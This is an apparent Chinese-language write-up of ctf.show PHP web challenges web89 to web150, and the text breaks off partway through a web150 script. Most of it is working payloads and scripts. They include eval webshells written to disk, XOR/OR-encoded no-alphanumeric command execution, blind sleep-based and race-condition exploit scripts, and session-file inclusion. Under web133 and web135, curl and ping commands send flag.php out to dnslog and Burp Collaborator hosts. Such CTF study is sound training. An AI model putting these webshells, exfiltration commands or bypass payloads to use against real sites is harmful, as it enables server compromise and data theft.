题目地址:https://ctf.show/challenges

web89

hint:通过数组绕过
num数组绕过
payload:?num[]=0

web90

hint:因为我们提交的参数值默认就是字符串类型 所以我们可以直接输入 ?num=4476
直接输入,emmm,不行
if($num==="4476"){

    die("no no no!");

所以这个hint是在误导吗?...
base为0,在传参时添加0x绕过
payload:?num=0x117c

web91

hint:考查:正则表达式是匹配方法 https://blog.csdn.net/qq_46091464/article/details/108278486 可以通过 %0a 绕过 payload: abc%0aphp
字符 ^ 和 $ 同时使用时,表示精确匹配
/i匹配大小写,/m匹配换行,一般不加/m是不匹配换行以后的左右两端的内容
由于匹配是要以php开头,我们可以在php之前加上换行绕过
payload:?cmd=%0aphp

web92

hint:intval()函数如果$base为0则$var中存在字母的话遇到字母就停止读取 但是e这个字母比较特殊,可以在PHP中不是科学计数法。所以为了绕过前面的==4476我们就可以构造 4476e123 其实不需要是e其他的字母也可以
解法相似

1.利用90题中intval的特性使用不同进制绕过

2.多了一句判断

if(!strpos($num, "0")){

    die("no no no!!!");
} 

看似没法继续用八进制绕过,其实使用非数字符号可以绕过,让查找返回false
payload:?num=%20010574
看了hint原来除了0x,0,等,还有e这个特殊的东西,也就是科学计数法。

intval()函数如果$base为0则$var中存在字母的话遇到字母就停止读取 但是e这个字母比较特殊,可以在PHP中不是科学计数法。所以为了绕过前面的==4476我们就可以构造 4476e123 其实不需要是e其他的字母也可以

在弱类型比较的时候,4476e123是科学计数法4476*10^123,而在intval函数中,遇到字母就停止读取,因此是4476,成功绕过,非常巧妙。

web93

hint:过滤了字母但是我们可以使用其他进制就是计算 0b?? : 二进制0??? : 八进制 0X?? : 16进制 payload : ?num=010574

web94

hint:在93的基础上过滤了开头为0的数字 这样的话就不能使用进制转换来进行操作 我们可以使用小数点来进行操作。这样通过intval()函数就可以变为int类型的4476 ?num=4476.0

web95

hint:可以通过8进制绕过但是前面必须多加一个字节 ?num=+010574或者?num=%2b010574
(这里用web92的payload基本就可以打通到这里)

web96

hint:在linux下面表示当前目录是 ./ 所以我们的payload: u=./flag.php
?u=/var/www/html/flag.php
?u=./flag.php
?u=php://filter/resource=flag.php
利用伪协议来绕过这个姿势在很多环境中都可能有妙用。姿势很多...

web97

hint:通过数组绕过 a[]=1&b[]=2
经典的md5碰撞,拿数组可以绕过a[]=1&b[]=2

web98

这hint有点长...
hint:https://www.php.cn/php-notebook-172859.html https://www.php.cn/php-weizijiaocheng-383293.html 考点是PHP里面的三元运算符和传址(引用) 传址(引用)有点像c语言里面的地址 我们可以修改一下代码

<?php
include('flag.php');
if($_GET){
$_GET=&$_POST;//只要有输入的get参数就将get方法改变为post方法(修改了get方法的地
址)
}else{
"flag";
} i
f($_GET['flag']=='flag'){
$_GET=&$_COOKIE;
}else{
'flag';
1 2 3 4 5 6 7 8 9
10
11所以我们只需要 GET一个?HTTP_FLAG=flag 加 POST一个HTTP_FLAG=flag
中间的代码没有作用,因为我们不提交 flag 参数
web99
payload: get : ?n=1.php
post:content=<?php system($_POST[1]);?>
web100
这道题基本上没有对参数进行过滤,所以直接执行命令
payload:
web101
https://segmentfault.com/q/1010000000770535
考察使用函数打印对象里面的属性。
我们可以出100的题里面看到提示,ctfshow.php里面就只有属性。并且最后的属性就是flag.
我们可以使用Reflectionclass类,打印类的结构
payload:
} i
f($_GET['flag']=='flag'){
$_GET=&$_SERVER;
}else{
'flag';
} i
f($_GET['HTTP_FLAG']=='flag'){//需要满足这个条件就可以输出flag
highlight_file($flag);
}else{
highlight_file(__FILE__);
}

所以我们只需要 GET一个?HTTP_FLAG=flag 加 POST一个HTTP_FLAG=flag 中间的代码没有作用,因为我们不提交 flag 参数

这是取地址的意思(应该吧,我照着C语言的&理解的)。
html的三元运算符
$_GET?$_GET=&$_POST:'flag';
表示如果GET传参,则用POST传参flag覆盖
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
同理如果GET传参是flag字符串,则用cookie传参的flag覆盖
以下同理
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);
如果传参的HTTP_FLAG为flag字符串,则读取flag文件,最后highlight显示
就是说GET要传参,但不能传flag,要拿POST的HTTP_FLAG传flag

这题中间的两行代码没什么用,最终payload如下:
?1=1
POST传入HTTP_FLAG=flag
即可得到flag

web99

hint:<?php
highlight_file(__FILE__);
$allow = array();//设置为数组
for ($i=36; $i < 0x36d; $i++) {
array_push($allow, rand(1,$i));//向数组里面插入随机数
} i
f(isset($_GET['n']) && in_array($_GET['n'], $allow)){
//in_array()函数有漏洞 没有设置第三个参数 就可以形成自动转换eg:n=1.php自动转换为1
file_put_contents($_GET['n'], $_POST['content']);
//写入1.php文件 内容是<?php system($_POST[1]);?>
} ?

payload: get : ?n=1.php post:content=
首先是定义一个数组,然后向数组里面插入随机数,当GET传参的内容符合数组里随机数时,向传参名字的文件里写入POST的content内容
不是很懂怎么解法,看了hint
//in_array()函数有漏洞 没有设置第三个参数 就可以形成自动转换
//eg:n=1.php自动转换为1
就是说in_array()的type没有设置为true,则不存在的值会不检测,自动转换
content=<?php @eval($_POST[a]);?>
再进入1.php
将马写进去之后先试试传参 a=system('ls');(注意闭合,不然会报错,我在这里特意去试了一下,呜呜呜,不说了,我去重新传过了)
步骤应该是比较严密的,自己多试试就懂了
传入回显'ls'命令后,会看到几个文件
再传a=system('cat flag36d.php');
查看源码就可以看到flag了

Web100

hint:这道题基本上没有对参数进行过滤,所以直接执行命令
?v1=21&v2=var_dump($ctfshow)/&v3=/;

ctfshow类开辟空间,提示我们flag在ctfshow类里面
看了代码有迷惑我们的$v2('ctfshow')$v3,其中v2肯定是命令,v3传分号
v0是三个值相与,v2和v3不传数字和v1数字相与就为1
payload1:?v1=1&v2=var_dump($ctfshow)&v3=;
或者v3直接用内联注释注释掉
payload2:?v1=1&v2=var_dump($ctfshow)/&v3=/;
所以我们只要让v1是is_numeric就可以了。
这题的预期解是利用PHP中的反射类ReflectionClass,
姿势很多,因为已经提示了flag在ctfshow这个类里,
payload3:?v1=1&v2=echo new ReflectionClass&v3=;
object(ctfshow)#1 (3) { ["dalaoA"]=> NULL ["dalaoB"]=> NULL ["flag_is_80f2076a0x2d3a850x2d49ed0x2d97b00x2dcdbc864c9b80"]=> NULL }
注意将0x2d转换为-
即:ctfshow{80f2076a-3a85-49ed-97b0-cdbc864c9b80}
在做100和101的时候题目出了点问题,导致在这卡了好久,最后询问群主才知道题目出了点问题,之后它位偏移也没改,导致我flag总提交不上...不过群主大大还是很快修复了这一小问题

web101

hint:?v1=1&v2=echo new Reflectionclass&v3=;
过滤了很多符号,不能用var_dump输出信息

看了hint考的是类反射

PHP Reflection API是PHP5才有的新功能,它是用来导出或提取出关于类、方法、属性、参数等的详细信息,包括注释。

$class = new ReflectionClass('Person'); // 建立 Person这个类的反射类
$instance = $class->newInstanceArgs($args); // 相当于实例化Person 类

构造语句导出类信息

?v1=1&v2=echo new Reflectionclass&v3=;

web102

hint:GET
v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-
decode/resource=2.php
POST
v1=hex2bin
#访问1.php后查看源代码获得flag
is_numeric函数
在php5的环境中,是可以识别十六进制的,也就是说,如果传入v2=0x3c3f706870206576616c28245f504f53545b315d293b3f3e(<?php eval($_POST[1]);?>的十六进制)也是可以识别为数字的。
var_dump(is_numeric("0x3c3f706870206576616c28245f504f53545b315d293b3f3e"));
下返回true
题目经过substr($v2,2)得到0x后面的十六进制3c3f706870206576616c28245f504f53545b315d293b3f3e,因为hex2bin如果参数带0x会报错。
paylaod
首先将我们的一句话编码成16进制
get:v2=0x3c3f706870206576616c28245f504f53545b315d293b3f3e&v3=1.php
post:v1=hex2bin
完成木马的写入。
但是本题无法使用,应该是因为环境为php7,因为在php7下
var_dump(is_numeric("0x3c3f706870206576616c28245f504f53545b315d293b3f3e"));
下返回false
所以只能另想办法,要让v2均为数字,首先我们考虑写入1.php时,利用伪协议写入
get:v2=???&v3=php://filter/write=convert.base64-decode/resource=1.php
post: v1=hex2bin
关键就是什么代码base64编码后再转为十六进制为全数字,网上找了一个
$a='<?=cat *;';
$b=base64_encode($a); // PD89YGNhdCAqYDs=
$c=bin2hex($b); //等号在base64中只是起到填充的作用,不影响具体的数据内容,直接用去掉,=和带着=的base64解码出来的内容是相同的。
输出 5044383959474e6864434171594473
带e的话会被认为是科学计数法,可以通过is_numeric检测。
同时因为经过substr处理,所以v2前面还要补00
payload:
get:v2=005044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=1.php
post: v1=hex2bin
写入成功后访问1.php即可得到flag

web103

hint:GET
v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-
decode/resource=2.php
POST
v1=hex2bin
#访问1.php后查看源代码获得flag
增加了if(!preg_match("/.p.h.p./i",$str))
用web101payload可以直接求解
payload:
get:v2=005044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=1.php
post: v1=hex2bin

web104

hint:#payload
aaK1STfY
0e76658526655756207688271159624026011393
aaO8zKZF
0e89257456677279068558073954252716165668
payload:GET ?v2=1 POST v1=1
应该是考察 https://blog.csdn.net/qq_19980431/article/details/83018232

web105

hint:考察:php的变量覆盖 payload: GET: ?suces=flag POST: error=suces
考察变量覆盖
这里有一个PHP语言的小特性即变量不需要声明

web106

sha1强碰撞
aaroZmOk
aaK1STfY
aaO8zKZF
aa3OFF9m
payload:?v2=aaroZmOk POST:v1=aaK1STfY
考察https://blog.csdn.net/qq_19980431/article/details/83018232

web107

hint:GET:?v3=240610708 POST:v1=flag=0
payload2:?v3=s878926199a POST:v1=flag=0
parse_str变量覆盖
定义和用法
parse_str() 函数把查询字符串解析到变量中。

注释:如果未设置 array 参数,则由该函数设置的变量将覆盖已存在的同名变量。

注释:php.ini 文件中的 magic_quotes_gpc 设置影响该函数的输出。如果已启用,那么在 parse_str() 解析之前,变量会被 addslashes() 转换。
<!DOCTYPE html>

<?php
parse_str("name=Bill&age=60",$myArray);
print_r($myArray);
?>



结果
Array ( [name] => Bill [age] => 60 )
payload3:get:?v3=1
post:v1=flag=c4ca4238a0b923820dcc509a6f75849b

web108

hint:ereg()函数用指定的模式搜索一个字符串中指定的字符串,如果匹配成功返回true,否则,则返回false。搜索字 母的字符是大小写敏感的。 ereg函数存在NULL截断漏洞,导致了正则过滤被绕过,所以可以使用%00截断正则匹配?c=a%00778
考察ereg()截断漏洞.参考:https://blog.csdn.net/qq_25987491/article/details/79952393
ereg()函数用指定的模式搜索一个字符串中指定的字符串,如果匹配成功返回true,否则,则返回false。搜索字母的字符大小写敏感
这里ereg有两个漏洞:
①%00截断及遇到%00则默认为字符串的结束
②当ntf为数组时它的返回值不是FALSE
数组绕过匹配:
第一步首先要过ereg,可以用%00阶段
第二部0x36d是十进制877,逆操作经过strrev为778
payload:
http://130a2a0b-584c-4128-a517-64b4a2c72a20.chall.ctf.show/?c=a%00778
payload: ?c=a%00778

web109

hint:Exception 异常处理类 http://c.biancheng.net/view/6253.html
payload1:?v1=Exception&v2=system('cat fl36dg.txt')
payload2:?v1=Reflectionclass&v2=system('cat fl36dg.txt')

web110

hint:考察:php内置类 利用 FilesystemIterator 获取指定目录下的所有文件 http://phpff.com/filesystemiterator https://www.php.net/manual/zh/class.filesystemiterator.php getcwd()函数 获取当前工作目录 返回当前工作目录 payload: ?v1=FilesystemIterator&v2=getcwd

web111

hint:考察:全局变量 为了满足条件,我们可以利用全局变量来进行赋值给ctfshow这个变量 payload: ?v1=ctfshow&v2=GLOBALS
前两个正则匹配过滤了许多的字符,但是没过滤大小写字母
第三个正则需要$v1为ctfshow
进行了一个自定义函数,这里eval("$$v1=&$$v2")等于eval("$ctfshow=&$$v2"),最后打印出来,已知最后是用var_dump而不是echo,可以使用数组输出的,所以这里可以让$ctfshow=&$GLOBALS
通过利用超全局变量将所有可用的变量都打印出来
payload:?v1=ctfshow&v2=GLOBALS

web112

hint:php://filter/resource=flag.php
php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=flag.php
php://filter/read=convert.quoted-printable-encode/resource=flag.php
compress.zlib://flag.php
这里对php://filter伪协议的加密过程进行了过滤,但是使用伪协议的过滤器时会先进行一次url编码,所以这里可以用二次编码绕过过滤,
payload:?file=php://filter/read=convert.%2562ase64-encode/resource=flag.php
得到一串base64编码,解码即可得到flag

web113

hint:/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/p
roc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/pro
c/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/
self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/se
lf/root/proc/self/root/var/www/html/flag.php
绕过if(preg_match('/../|http|https|data|input|rot13|base64|string/i',$file)){ die("hacker!");
读文件过滤姿势:
php://filter/resource=flag.php
php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=flag.php
php://filter/read=convert.quoted-printable-encode/resource=flag.php
compress.zlib://flag.php
与web112比较增加过滤了filter
payload:?file=compress.zlib:///var/www/html/flag.php
?file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php

web114

hint:payload: php://filter/resource=flag.php

web115

hint:payload:num?%0c36
%0c==\f
爆破
function filter($num){

$num=str_replace("0x","1",$num);
$num=str_replace("0","1",$num);
$num=str_replace(".","1",$num);
$num=str_replace("e","1",$num);
$num=str_replace("+","1",$num);
return $num;

}
for ($i=0; $i <=128 ; $i++) {

$num=chr($i).'36';

if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36')){

    echo urlencode(chr($i))."\n";

}
}
得到%0C
payload:?num=%0C36

web123

hint:POST: CTF_SHOW=&CTF[SHOW.COM=&fun=echo $flag
PHP变量名应该只有数字字母下划线,同时GET或POST方式传进去的变量名,会自动将空格 + . [转换为_
但是有一个特性可以绕过,使变量名出现.之类的
特殊字符[, GET或POST方式传参时,变量名中的[也会被替换为_,但其后的字符就不会被替换了
如 CTF[SHOW.COM=>CTF_SHOW.COM

另一个思路 CTF_SHOW=&CTF[SHOW.COM=&fun=var_dump($GLOBALS)
payload:POST : CTF_SHOW=1&CTF[SHOW.COM=1&fun=echo $flag

web125

hint:GET:?1=flag.php POST:CTF_SHOW=&CTF[SHOW.COM=&fun=highlight_file($_GET[1])

web126

hint:GET:?a=1+fl0g=flag_give_me
POST:CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1])
or
GET:?$fl0g=flag_give_me
POST:CTF_SHOW=&CTF[SHOW.COM=&fun=assert($a[0])

web127

hint:GET:?ctf show=ilove36d
payload:?ctf show=ilove36d
利用空格会自动转换为_来绕过waf

web128

hint:https://www.cnblogs.com/lost-1987/articles/3309693.html https://www.php.net/manual/zh/book.gettext.php 小知识点: _()是一个函数 ()==gettext() 是gettext()的拓展函数,开启text扩展。需要php扩展目录下有php_gettext.dll get_defined_vars()函数 get_defined_vars — 返回由所有已定义变量所组成的数组 这样可以获得 $flag payload: ?f1=&f2=get_defined_vars
GetText:一个字符串处理的函数或者说功能,进行字符替换等等. 用法可以参考https://blog.csdn.net/changli_90/article/details/9277805
PHP里面用法:https://www.cnblogs.com/lost-1987/articles/3309693.html
如果是未定义的字符,直接返回原字符
get_defined_vars( void) : array
返回由所有已定义变量所组成的数组
所以payload: ?f1=_&f2=get_defined_vars
var_dump(call_user_func(call_user_func($f1,$f2)));
=> var_dump(call_user_func(call_user_func(_,'get_defined_vars')));
=> var_dump(call_user_func(get_defined_vars));

web129

hint:考察: 目录穿越
stripos() 函数查找字符串在另一字符串中第一次出现的位置(不区分大小写) payload: /ctfshow/../../../../var/www/html/flag.php 查看源代码获得 flag
利用目录穿越漏洞绕过 stripos 检测字符
payload:?f=/ctfshow/../../../../../../../../../var/www/html/flag.php

web130

hint:直接绕过正则表达式: f=ctfshow
直接POST f=ctfshow绕过正则 preg_match('/.+?ctfshow/is', $f)
可能.+匹配失败,就不再匹配?

web131

hint:考察:正则表达式是溢出 https://www.laruence.com/2010/06/08/1579.html 大概意思就是在php中正则表达式进行匹配有一定的限制,超过限制直接返回false
#payload:
<?php
echo str_repeat('very', '250000').'36Dctfshow';
#post发送过去就OK
利用了php中正则表达式进行匹配有一定的限制,超过限制直接返回false
这个限制是防止正则匹配时占用资源过多设置
可以参考:
https://www.jb51.net/article/49631.htm
https://blog.csdn.net/letianok/article/details/8720210

脚本: 字符太长服务器会崩溃,太短达不到效果

import requests

url = 'http://637a5c6e-0d62-4132-824e-27f25bf163da.chall.ctf.show/'
esp = 1000000
ebp = 100000
while True:
    middle = int((esp+ebp)/2)
    payload = 'ctfsho' * middle + '36Dctfshow'

    data = {
        'f': payload
    }

    r = requests.post(url=url, data=data)
    if 'flag{' in r.text:
        print(r.text)
        break
    elif 'Too Large' in r.text:
        esp = middle
    elif 'bye' in r.text:
        ebp = middle

web132

hint:考察: php中&&和||运算符应用 访问/robots.txt,之后访问/admin,获得源代码 https://www.cnblogs.com/hurry-up/p/10220082.html 对于“与”(&&) 运算: x && y 当x为false时,直接跳过,不执行y; 对于“或”(||) 运算 : x||y 当x为true时,直接跳过,不执行y。 payload: ?a=admin&b=admin&c=admin
#在判断这个的时候
if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin")
第一个$code === mt_rand(1,0x36D)为false,之后就执行|| $username ==="admin"#成功绕

访问/robots.txt
扫描后台有/amdin
考察 php运算符优先级 ||优先级低于&&
只需满足code=admin&username=admin即可
payload:?username=admin&password=123456&code=admin

web133

hint:https://blog.csdn.net/qq_46091464/article/details/109095382
可以套娃命令执行
$F = @$_GET['F']
eval(substr($F,0,6));

?F=$F; sleep(5)
最后执行
eval($F;);
还是
eval($F; sleep(5)); // 这里的sleep(5)是Linux shell的函数
所以可以执行命令但没有回显,可以找方法外带dnslog
payload:?F = $F; curl cat flag.php|grep "flag".65ye0m.dnslog.cn
也可以用BP里的Collaborator Client不得不感叹BP的强大鸭
payload:?F=$F ;curl -X POST -F aaa=@flag.php fq984ru5n8fpfaixyks6gp0pvg1hp6.burpcollaborator.net
再发包,然后点击里面的poll now 就可以在回应包里面找到flag了

web134

hint:考察: php变量覆盖 利用点是 extract($_POST); 进行解析$_POST数组。 先将GET方法请求的解析成变量,然后在利用extract() 函数从数组中将变量导入到当前的符号表。 所以payload: ?_POST[key1]=36d&_POST[key2]=36d

web135

hint:$F;+ping cat flag.php|awk 'NR==2'.6x1sys.dnslog.cn
#通过ping命令去带出数据,然后awk NR一排一排的获得数据

非预期解:直接把flag.php写到1.txt再访问
?F=$F; cp flag.php 1.txt

web136

hint:payload: ls /|tee 1 访问1下载发现根目录下有flag payload: cat /f149_15_h3r3|tee 2 访问下载就OK
禁用了一堆函数.想办法看到回显
linux tee命令
Linux tee命令用于读取标准输入的数据,并将其内容输出成文件
用法:
tee file1 file2 //复制文件
ls|tee 1.txt //命令输出
payload:
ls /|tee 1,访问1下载发现根目录下有flag
再cat /f149_15_h3r3|tee 2 访问下载就OK

web137

hint:考察: call_user_func()函数的使用 https://www.php.net/manual/zh/function.call-user-func.php
payload: POST: ctfshow=ctfshow::getFlag

web138

hint:
payload:POST: ctfshow[0]=ctfshow&ctfshow[1]=getFlag
ctfshow[0]=ctfshow&ctfshow[1]=getFlag
137,138都是考察call_user_func()
call_user_func( callable $callback[, mixed $parameter[, mixed $...]] ) : mixed
和题目有关的用法:

  1. call_user_func('phpinfo');
  2. 5.3.0之后

    5.3.0 对面向对象里面的关键字的解析有所增强。在此之前,使用两个冒号来连接一个类和里面的一个方法,把它作为参数来作为回调函数的话,将会发出一个E_STRICT的警告,因为这个传入的参数被视为静态方法。
    如:

<?php
function barber($type)
{

echo "You wanted a $type haircut, no problem\n";

}
call_user_func('barber', "mushroom");
call_user_func('barber', "shave");
?>
//You wanted a mushroom haircut, no problem
//You wanted a shave haircut, no problem
3.用call_user_func()来调用一个类里面的方法
<?php
class myclass {

static function say_hello()
{
    echo "Hello!\n";
}

}
$classname = "myclass";
call_user_func(array($classname, 'say_hello'));
call_user_func($classname .'::say_hello'); // As of 5.2.3

$myobject = new myclass();
call_user_func(array($myobject, 'say_hello'));

?>

web139

hint:

import requests
import time
import string
str=string.ascii_letters+string.digits
result=""
for i in range(1,5):
key=0
for j in range(1,15):
if key==1:
break
for n in str:
payload="if [ `ls /|awk 'NR=={0}'|cut -c {1}` == {2} ];then
sleep 3;fi".format(i,j,n)
 #print(payload)
url="http://877848b4-f5ed-4ec1-bfc1-6f44bf292662.chall.ctf.show?
c="+payload
try:
requests.get(url,timeout=(2.5,2.5))
except:
result=result+n
print(result)
break
if n=='9':
key=1
result+=" "

import requests
import time
import string
str=string.digits+string.ascii_lowercase+"-"
result=""
key=0
for j in range(1,45):
print(j)
if key==1:
break
for n in str:
payload="if [ `cat /f149_15_h3r3|cut -c {0}` == {1} ];then sleep
3;fi".format(j,n)
 #print(payload)
url="http://16fb8221-6893-4aee-95d5-dbe7163bded0.chall.ctf.show?
c="+payload
try:
requests.get(url,timeout=(2.5,2.5))
except:
result=result+n
print(result)
break

带不出回显了,可以盲注,盲打(和sql盲注类似)

要解决两个问题

截取字符串
判断命令执行结构

截取字符串可以用awk等命令
判断命令执行结果可以用shell编程的if语句和sleep()函数
awk逐行获取
cut命令截取单独的字符
shell编程,if语句控制输出,sleep控制相应时间
exp:
import requests

cmd = 'cat /f149_15_h3r3'
result = ''
for i in range(1, 10):

for j in range(1, 50):
    print('i=', i, ' j=', j)
    for k in range(32, 128):
        k = chr(k)
        payload = f"if [ `{cmd} |awk NR=={i}|cut -c {j}` == {k} ]; then sleep 3;fi"
        payload = '?c=' + payload
        url = 'http://7e556b0d-6a65-4dc4-8be5-0389300c98f6.chall.ctf.show/'
        try:
            requests.get(url + payload, timeout=(2.5, 2.5))
        except:
            result = result + k
            print(result)
            break
result = result + "\n"

web140

hint:考察: 函数的利用 payload: f1=usleep&f2=usleep
f1=intval&f2=intval
拼凑函数,凑出结果为0或false或NULL的
或者 payload: f1=usleep&f2=usleep

web141

hint:考察命令执行和绕过return 应该说运算符都可以绕过 这里用羽师傅给的一个脚本取反命令执行 ?v1=10&v2=0&v3=-(~%8c%86%8c%8b%9a%92)(~%9c%9e%8b%df%99%d5);
两个考点 一个是无数字字母RCE 一个是 函数执行类的问题;
先看比如构造出来system("whoami")怎么执行它

1system("whoami"); error不会执行
1+system("whoami"); Warning 会执行
无数字字母RCE
通过或拼接字符串
转换脚本:
import re

content = ''
preg = '[a-z]|[0-9]' # 题目过滤正则
# 生成字典
for i in range(256):

for j in range(256):
    if not (re.match(preg, chr(i), re.I) or re.match(preg, chr(j), re.I)):
        k = i | j
        if 32 <= k <= 126:
            a = '%' + hex(i)[2:].zfill(2)
            b = '%' + hex(j)[2:].zfill(2)
            content += (chr(k) + ' ' + a + ' ' + b + '\n')

f = open('rce_or.txt', 'w')
f.write(content)

while True:

payload1 = ''
payload2 = ''
code = input("data:")
for i in code:
    f = open('rce_or.txt')
    lines = f.readlines()
    for line in lines:
        if i == line[0]:
            payload1 = payload1 + line[2:5]
            payload2 = payload2 + line[6:9]
            break
payload = '("'+payload1+'"|"'+payload2+'")'
print("payload: "+ payload)

payload = ?v1=1&v2=2&v3=*(%22%13%19%13%14%05%0d%22|%22%60%60%60%60%60%60%22)("%03%01%14%00%06%0c%01%07%00%10%08%10"|"%60%60%60%20%60%60%60%60%2e%60%60%60");
命令前加一些 + - * / 之类的,让它顺利执行

web142

hint:0和0x0绕过 这里绕过因为是因为当成了8进制和16进制
payload:?v1=0

web143

hint:位运算都可以进行构造字符 ?v1=10&v2=0&v3=*("%0c%19%0c%5c%60%60"^"%7f%60%7f%28%05%0d") ("%0e%0c%00%00"^"%60%60%20%2a")?>
可以用异或构造字符串, 题目还过滤了;可以用?>代替;
脚本:
import re

content = ''
preg = '/[a-z]|[0-9]|+|-|.|\_|||$|{|}|\~|\%|\&|\;/' # 题目过滤正则
# 生成字典
for i in range(256):

for j in range(256):
    if not (re.match(preg, chr(i), re.I) or re.match(preg, chr(j), re.I)):
        k = i ^ j
        if 32 <= k <= 126:
            a = '%' + hex(i)[2:].zfill(2)
            b = '%' + hex(j)[2:].zfill(2)
            content += (chr(k) + ' ' + a + ' ' + b + '\n')

f = open('exp_xor.txt', 'w')
f.write(content)

while True:

payload1 = ''
payload2 = ''
code = input("data:")
for i in code:
    f = open('rce_or.txt')
    lines = f.readlines()
    for line in lines:
        if i == line[0]:
            payload1 = payload1 + line[2:5]
            payload2 = payload2 + line[6:9]
            break
payload = '("'+payload1+'"^"'+payload2+'")'
print("payload: "+ payload)

payload:?v1=1&v2=2&v3=*("%13%19%13%14%05%0d"^"%60%60%60%60%60%60")("%03%01%14%00%06%0c%01%07%02%10%08%10"^"%60%60%60%20%60%60%60%60%2c%60%60%60");

web144

hint:?v1=10&v2=(~%8c%86%8c%8b%9a%92)(~%9c%9e%8b%df%99%d5);&v3=-
payload:?v1=1&v3=2&v2=%00*("%13%19%13%14%05%0d"^"%60%60%60%60%60%60")("%03%01%14%00%06%0c%01%07%02%10%08%10"^"%60%60%60%20%60%60%60%60%2c%60%60%60");

web145

hint:?v1=%0a1&v2=%0a0&v3=?(~%8c%86%8c%8b%9a%92)(~%9c%9e%8b%df%99%d5):
?v1=1&v2=2&v3=|('%13%19%13%14%05%0d'|'%60%60%60%60%60%60')('%03%01%14%00%06%0c%01%07%02%10%08%10'|'%60%60%60%20%60%60%60%60%2c%60%60%60')|
可以用| 1|(xxx)|2
或者三元运算符 1?(xxxx):2

web146

hint:?v1=1&v2=1&v3=|(~%8c%86%8c%8b%9a%92)(~%9c%9e%8b%df%99%d5)|
同上

web147

hint:php里默认命名空间是\,所有原生函数和类都在这个命名空间中。 普通调用一个函数,如果直接写函数名function_name()调用,调用的时候其实相当于写了一个相对路 径; 而如果写\function_name()这样调用函数,则其实是写了一个绝对路径。 如果你在其他namespace里调用系统类,就必须写绝对路径这种写法
payload:
GET ?show=;};system('grep flag flag.php');/*
POSOT ctf=%5ccreate_function
可以在函数名前加上命名空间
system =>\system
\是全局命名空间
php里默认命名空间是\,所有原生函数和类都在这个命名空间中。 普通调用一个函数,如果直接写函数名function_name()调用,调用的时候其实相当于写了一个相对路 径; 而如果写\function_name()这样调用函数,则其实是写了一个绝对路径。 如果你在其他namespace里调用系统类,就必须写绝对路径这种写法
然后找一个能够执行命令的函数,满足题目要求的
可利用create_function()进行代码注入
参考 : https://my.oschina.net/huyex/blog/2885273
https://blog.csdn.net/weixin_44302704/article/details/108591912
payload :
GET ?show=2;}system("nl flag.php");/*
POST ctf=\create_function

web148

hint:#payload ?code=("%0c%19%0c%5c%60%60"^"%7f%60%7f%28%05%0d") ("%09%01%03%01%06%02"^"%7d%60%60%21%60%28"); 预期解是使用中文 ?code=$哈="{{{"^"?<>/";${$哈}[哼](${$哈}[嗯]);&哼=system&嗯=tac f* "{{{"^"?<>/"; 异或出来的结果是 _GET
解法1 :
无数字字母RCE
/?code=("%08%02%08%09%05%0d"^"%7b%7b%7b%7d%60%60")("%09%01%03%01%06%0c%01%07%01%0b%08%0b"^"%7d%60%60%21%60%60%60%60%2f%7b%60%7b");
脚本:
import re

content = ''
preg = '[A-Za-z0-9_\%|\~\'\,.\:\@\&*+- ]' # 题目过滤正则

生成字典

for i in range(256):

for j in range(256):
    if not (re.match(preg, chr(i), re.I) or re.match(preg, chr(j), re.I)):
        k = i ^ j
        if 32 <= k <= 126:
            a = '%' + hex(i)[2:].zfill(2)
            b = '%' + hex(j)[2:].zfill(2)
            content += (chr(k) + ' ' + a + ' ' + b + '\n')

f = open('exp_xor.txt', 'w')
f.write(content)

while True:

payload1 = ''
payload2 = ''
code = input("data:")
for i in code:
    f = open('exp_xor.txt')
    lines = f.readlines()
    for line in lines:
        if i == line[0]:
            payload1 = payload1 + line[2:5]
            payload2 = payload2 + line[6:9]
            break
payload = '("'+payload1+'"^"'+payload2+'")'
print("payload: "+ payload)

解法2
中文变量
payload:
$哈="`{{{"^"?<>/";${$哈}[哼](${$哈}[嗯]);&哼=system&嗯=tac f*
其中"`{{{" ^ "?<>/"异或得到_GET
$哈=_GET;
$_GET[哼]($_GET[嗯]);
?哼=system&嗯=tac f*

web149

hint:GET: ?ctf=index.php show=
条件竞争,一个多线程用来写,一个用来读
exp:
import io
import requests
import threading

url = 'http://576a2d79-73e0-4481-9203-4fc329adabf7.chall.ctf.show/'

def write():

while event.isSet():
    data = {
        'show': '<?php system("cat /ctfshow_fl0g_here.txt");?>'
    }
    requests.post(url=url+'?ctf=1.php', data=data)

def read():

while event.isSet():
    response = requests.get(url + '1.php')
    if response.status_code != 404:
        print(response.text)
        event.clear()

if name == "__main__":

event = threading.Event()
event.set()
for i in range(1, 100):
    threading.Thread(target=write).start()

for i in range(1, 100):
    threading.Thread(target=read).start()

非预期:直接写一句话到index.php
GET ?ctf=index.php
POST show=<?php eval($_POST[bit]);?>
再在index.php里面
POST bit=system("cat /ctfshow_fl0g_here.txt");

web150

hint:文件包含非预期绕过
可以用包含session文件打,不过这个是非预期,后面web150_plus修复了这个非预期
exp:
import io
import requests
import threading

sessid = 'test'
data = {

"ctf": "/tmp/sess_test",
"cmd": 'system("cat flag.php");'

}

def write(session):

while event.isSet():
    f = io.BytesIO(b'a' * 1024 * 50)
    resp = session.post('http://7445f895-6f17-4435-adc0-62055d7f0cb7.chall.ctf.show/',
                        data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST["cmd"]);?>'},
